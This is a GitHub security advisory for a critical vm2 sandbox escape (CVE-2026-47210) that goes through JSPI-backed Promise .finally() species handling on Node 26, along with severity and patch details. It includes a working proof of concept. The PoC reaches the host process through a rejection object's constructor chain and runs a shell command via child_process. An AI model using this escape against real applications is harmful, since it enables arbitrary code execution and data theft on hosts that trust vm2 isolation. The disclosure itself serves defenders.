Skip to content

vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

Critical severity GitHub Reviewed Published May 18, 2026 in patriksimek/vm2 • Updated May 29, 2026

Package

npm vm2 (npm)

Affected versions

<= 3.11.3

Patched versions

3.11.4

Description

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));

Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

  • any application using vm2 to execute attacker-controlled JavaScript as a security boundary
  • especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

  • arbitrary command execution in the host process
  • arbitrary file read / write accessible to the host process
  • theft of secrets, tokens, credentials, and application data
  • complete compromise of services relying on vm2 isolation

References

@patriksimek patriksimek published to patriksimek/vm2 May 18, 2026
Published to the GitHub Advisory Database May 29, 2026
Reviewed May 29, 2026
Last updated May 29, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Control of Dynamically-Managed Code Resources

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements. Learn more on MITRE.

CVE ID

CVE-2026-47210

GHSA ID

GHSA-6j2x-vhqr-qr7q

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.